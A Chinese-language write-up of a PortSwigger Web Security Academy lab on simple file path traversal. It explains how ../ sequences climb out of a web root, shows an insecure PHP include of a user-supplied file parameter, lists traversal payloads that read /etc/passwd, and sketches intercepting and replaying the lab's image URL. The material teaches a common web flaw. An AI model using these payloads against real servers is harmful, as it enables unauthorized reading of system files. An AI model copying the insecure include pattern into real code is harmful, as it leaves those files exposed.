实验:文件路径遍历,简单情况(Lab: File path traversal, simple case)

该实验室在产品图像显示方面存在路径遍历漏洞。

要完成实验,请检索文件内容/etc/passwd。

一、/etc/passwd 在哪里?

Linux 系统的绝对路径就是:

复制代码
/etc/passwd

它位于根目录 / 下的 etc 目录中。

Linux 目录结构大概是:

复制代码
/
├── bin
├── boot
├── dev
├── etc
│   ├── passwd
│   ├── shadow
│   └── hosts
├── home
├── root
├── tmp
├── usr
└── var

所以:

复制代码
/etc/passwd

就是一个固定的位置。


二、为什么目录遍历能够访问它?

假设网站代码:

复制代码
include($_GET['file']);

正常访问:

复制代码
http://example.com/?file=images/logo.png

实际上服务器访问的是

复制代码
/var/www/html/images/logo.png

如果没有做限制,你可以利用

复制代码
../

返回上一级目录。

例如:

复制代码
images/logo.png

变成

复制代码
../

表示:

复制代码
/var/www/html/
      ↑
../

继续:

复制代码
../../

表示:

复制代码
/var/www/
      ↑
../

不断往上:

复制代码
../../../

最后会到:

复制代码
/

然后再进入

复制代码
etc/passwd

于是形成

复制代码
../../../../etc/passwd

三、怎么知道要几个 ../?

这就是很多人刚学目录遍历时最疑惑的地方。

例如网站根目录:

复制代码
/var/www/html/

需要:

复制代码
html
 ↑
../

www
 ↑
../

var
 ↑
../

/

所以:

复制代码
../../../etc/passwd

即可。

如果程序位于

复制代码
/opt/tomcat/webapps/app/images/

那就需要更多:

复制代码
../../../../../etc/passwd

四、真实测试时怎么办?

通常不知道程序当前目录。

因此会逐步尝试,例如:

复制代码
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

很多 CTF 或实验环境都是这样验证目录遍历是否存在。


五、为什么多写几个 ../ 也能成功?

Linux 文件系统规定:

当已经到达根目录 / 后:

复制代码
/
↑
../

仍然还是

复制代码
/

例如:

复制代码
../../../../../../../../etc/passwd

最终仍然会解析为:

复制代码
/etc/passwd

所以在不少实验环境中,会看到故意写很多层 ../。


六、目录遍历的核心原理

假设服务器当前目录:

复制代码
/var/www/html/images/

请求:

复制代码
../../../etc/passwd

解析过程:

复制代码
/var/www/html/images/
        │
        ├── ..
        │
/var/www/html/
        │
        ├── ..
        │
/var/www/
        │
        ├── ..
        │
/
        │
        └── etc/passwd

最终访问:

复制代码
/etc/passwd

七、实验过程

先放行图片的访问

在图片我们可以得到完整的图片路径是

复制代码
https://0afd0035031ad62f81501719005800bf.web-security-academy.net/resources/images/rating5.png

也就是说我们只需要三个../即可到达根目录访问/etc/passwd

然后再去刷新攻击页面重新拦截图片的获取的URL并重放后更改URL发送

相关推荐
sbjdhjd5 小时前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
持敬chijing19 小时前
白盒测试与代码审计-js登录逆向实战
javascript·网络·安全·web安全·网络安全·网络攻击模型
南棋网络安全1 天前
ssrf跨站请求伪造(保姆级教程)
运维·服务器·网络·网络安全
科技象限1 天前
数据防泄漏系统:文件是怎么溜出门的,就该怎么堵
运维·网络·网络安全·安企神
听说6661 天前
信息安全工程师 - 第二十二章 网站安全需求分析与安全保护工程
网络·安全·web安全·网络安全·系统安全
白帽攻防录1 天前
SRC 挖洞:PowerPoint 四个 RCE,预览窗格怎么变成零点击入口
网络安全·powerpoint·文档安全
酒神dnspup1 天前
DNS 泄露检测怎么做:从随机权威域名、递归解析器出口到 HTTP 出口一致性
网络安全·dns·网络排查·dns泄露
学逆向的1 天前
C 选择结构的执行效率分析
c语言·开发语言·算法·网络安全
愤怒火龙果1 天前
AI攻防 LLM中间件
人工智能·网络安全·中间件
持敬chijing1 天前
白盒测试与代码审计-JS 数据逆向
javascript·网络·安全·web安全·网络安全·网络攻击模型·安全威胁分析